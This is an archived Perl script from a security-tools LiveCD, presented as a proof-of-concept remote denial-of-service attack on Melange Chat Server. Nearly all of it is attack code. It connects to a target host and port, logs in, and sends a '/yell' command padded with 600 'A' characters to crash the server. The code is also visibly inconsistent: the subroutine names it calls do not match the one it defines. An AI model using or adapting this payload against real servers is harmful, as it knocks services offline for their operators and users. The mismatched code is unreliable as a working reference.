home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / melange / Melangechat.pl < prev   
Perl Script  |  2005-02-12  |  1KB  |  80 lines
  1. #!/usr/bin/perl
  2. #Melange Chat Server Remote DDOS POC
  3. #By DVDMAN (DVDMAN@L33TSECURITY.COM)
  4. #WWW.L33TSECURITY.COM
  5. #L33T SECURITY
  6.  
  7.  
  8. use Getopt::Std;
  9. use IO::Socket;
  10. $|=1;
  11.  
  12.  
  13. my %options;
  14. getopt('Hhp',\%options);
  15. $arg2 = shift(@ARGV);
  16. $options{h} && usage();
  17. if ($options{H})
  18. {
  19. do_melage();
  20. }
  21. if ($options{p})
  22. {
  23. do_malange();
  24. }
  25. else
  26. {
  27. usage();
  28. }
  29. sub usage()
  30. {
  31.     print("[L33TSECURITY] Malange Chat Remote DDOS\n");
  32.     print(" (C) DVDMAN \n\n");
  33.     print("Usage: $0 [options]\n");
  34.     print("-H = hostname or ip REQUIRED\n");
  35.     print("-p = port of ftp server REQUIRED\n");
  36. }
  37.   
  38. exit(1);
  39.  
  40.  
  41.  
  42. sub malange() {
  43. my $test = $options{H};
  44. my $test2 = $options{p};
  45.  
  46.     $remote = IO::Socket::INET->new(
  47.                         Proto     => "tcp",
  48.                                 PeerAddr  => $test,
  49.                                 PeerPort  => $test2,
  50.         );
  51.     unless ($remote) {
  52.            print"error cannot connect";
  53.            return
  54.         }
  55.     $remote->autoflush(1);
  56.  
  57.  
  58. print STDERR "Melange Chat Server REMOTE DDOS BY DVDMAN\n";
  59. print STDERR " starting attack in 5 seconds...\n";
  60. sleep(5);
  61.  
  62. my $user = "user test test 0 0\r\n";
  63. my $exploit = "/yell" . " " . "A"x600;
  64.  
  65.  
  66. print $remote $user;
  67. print $remote $exploit;
  68. print STDERR "DONE\n"; 
  69. die "BYE\n";
  70. }
  71.  
  72.  
  73.  
  74.  
  75.  
  76. #By DVDMAN (DVDMAN@L33TSECURITY.COM)
  77. #WWW.L33TSECURITY.COM
  78. #L33T SECURITY
  79.  
  80.